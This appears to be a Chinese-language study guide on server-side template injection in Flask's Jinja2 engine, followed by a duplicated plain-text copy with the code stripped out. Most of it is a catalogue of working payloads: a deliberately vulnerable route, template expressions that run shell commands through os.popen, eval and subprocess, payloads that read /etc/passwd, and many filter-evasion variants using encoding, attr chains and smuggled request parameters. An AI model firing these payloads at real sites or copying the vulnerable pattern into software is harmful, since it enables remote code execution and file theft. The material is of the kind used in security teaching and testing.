flask SSTI学习与总结
字数 1125 2025-08-07 08:22:27

Flask SSTI漏洞学习与总结

0x00 SSTI简介

SSTI(Server-Side Template Injection)是服务器端模板注入漏洞,类似于SQL注入,但针对的是网站模板引擎。当后端渲染处理时进行语句拼接并执行时,就可能产生SSTI漏洞。

主要影响的模板引擎包括:

  • Python: jinja2、mako、tornado、django
  • PHP: smarty、twig
  • Java: jade、velocity

本文重点讲解Flask框架中的jinja2模板引擎。

0x01 漏洞产生

Flask使用render_template_string函数渲染模板时,如果用户输入可控且未正确过滤,就可能产生SSTI漏洞。例如:

@app.route('/ssti')
def test_ssti():
    code = request.args.get('id')
    html = '<h1>%s</h1>'%(code)
    return render_template_string(html)

当用户输入{{7*7}}时,返回49,证明表达式被执行。

0x02 漏洞利用

Python类结构基础

利用SSTI需要了解Python类的继承关系:

  • __class__: 查看变量所属的类
  • __bases__: 查看类的基类
  • __mro__: 获取类的调用顺序
  • __subclasses__(): 查看当前类的子类列表

示例:

''.__class__  # <class 'str'>
''.__class__.__bases__  # (<class 'object'>,)
''.__class__.__mro__  # (<class 'str'>, <class 'object'>)
''.__class__.__bases__[0].__subclasses__()  # 获取object的所有子类

常用子类利用方法

1. 执行命令的子类

寻找eval函数执行命令:

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

寻找os模块执行命令:

{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}

寻找popen函数执行命令:

{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

寻找importlib类执行命令:

{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}

寻找linecache函数执行命令:

{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}

寻找subprocess.Popen类执行命令:

{{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

2. 文件读取的子类

Python2中使用file类:

{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}

Python3中使用FileLoader:

{{().__class__.__bases__[0].__subclasses__()[94]["get_data"](0, "/etc/passwd")}}

0x03 绕过技巧

关键字绕过

  1. 拼接绕过:
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}
  1. Base64编码绕过:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
  1. Unicode编码绕过:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}
  1. Hex编码绕过:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
  1. 引号绕过:
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()
  1. join()函数绕过:
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()

特殊字符绕过

  1. 过滤中括号[ ]:
# 使用__getitem__()绕过
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}}

# 使用pop()绕过
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}}
  1. 过滤引号:
# 使用chr()绕过
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}

# 使用request对象绕过
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
  1. 过滤下划线__:
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
  1. 过滤点.:
# 使用|attr()绕过
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
  1. 过滤大括号{{:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}

组合绕过

  1. 同时过滤.和[]:
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
  1. 同时过滤__、.和[]:
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(77)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
  1. 使用Unicode编码多重过滤:
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(77)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}

使用Jinja过滤器绕过

当常规方法被过滤时,可以使用Jinja2内置过滤器构造payload:

  1. 获取字符:
{% set org = ({ }|select()|string()) %}  # 获取<generator object select_or_reject at 0x7fe339298fc0>
{% set org = (self|string()) %}  # 获取<TemplateReference None>
{% set org = self|string|urlencode %}  # 获取URL编码字符串
{% set org = (app.__doc__|string) %}  # 获取文档字符串
  1. 获取数字:
{% set zero = (({ }|select|string|list).pop(38)|int) %}  # 0
{% set one = (zero**zero)|int %}  # 1
{% set two = (zero-one-one)|abs %}  # 2
  1. 构造关键字符串:
{% set but = dict(buil=aa,tins=dd)|join %}  # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}  # import
{% set os = dict(o=aa,s=dd)|join %}  # os

过滤request和class的绕过

使用session或config对象绕过:

{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'ss__']()}}

总结

Flask SSTI漏洞利用的关键在于:

  1. 理解Python类的继承关系
  2. 掌握从任意变量回溯到object基类的方法
  3. 熟悉常用子类的利用方式
  4. 掌握各种过滤场景下的绕过技巧
  5. 灵活运用Jinja2过滤器和特性

实际利用时需要根据目标环境调整payload,特别是子类索引号可能因Python版本和环境不同而变化。

Flask SSTI漏洞学习与总结 0x00 SSTI简介 SSTI(Server-Side Template Injection)是服务器端模板注入漏洞,类似于SQL注入,但针对的是网站模板引擎。当后端渲染处理时进行语句拼接并执行时,就可能产生SSTI漏洞。 主要影响的模板引擎包括: Python: jinja2、mako、tornado、django PHP: smarty、twig Java: jade、velocity 本文重点讲解Flask框架中的jinja2模板引擎。 0x01 漏洞产生 Flask使用 render_template_string 函数渲染模板时,如果用户输入可控且未正确过滤,就可能产生SSTI漏洞。例如: 当用户输入 {{7*7}} 时,返回49,证明表达式被执行。 0x02 漏洞利用 Python类结构基础 利用SSTI需要了解Python类的继承关系: __class__ : 查看变量所属的类 __bases__ : 查看类的基类 __mro__ : 获取类的调用顺序 __subclasses__() : 查看当前类的子类列表 示例: 常用子类利用方法 1. 执行命令的子类 寻找eval函数执行命令 : 寻找os模块执行命令 : 寻找popen函数执行命令 : 寻找importlib类执行命令 : 寻找linecache函数执行命令 : 寻找subprocess.Popen类执行命令 : 2. 文件读取的子类 Python2中使用file类: Python3中使用FileLoader: 0x03 绕过技巧 关键字绕过 拼接绕过 : Base64编码绕过 : Unicode编码绕过 : Hex编码绕过 : 引号绕过 : join()函数绕过 : 特殊字符绕过 过滤中括号[ ] : 过滤引号 : 过滤下划线__ : 过滤点. : 过滤大括号{{ : 组合绕过 同时过滤.和[] : 同时过滤__ 、.和[] : 使用Unicode编码多重过滤 : 使用Jinja过滤器绕过 当常规方法被过滤时,可以使用Jinja2内置过滤器构造payload: 获取字符 : 获取数字 : 构造关键字符串 : 过滤request和class的绕过 使用session或config对象绕过: 总结 Flask SSTI漏洞利用的关键在于: 理解Python类的继承关系 掌握从任意变量回溯到object基类的方法 熟悉常用子类的利用方式 掌握各种过滤场景下的绕过技巧 灵活运用Jinja2过滤器和特性 实际利用时需要根据目标环境调整payload,特别是子类索引号可能因Python版本和环境不同而变化。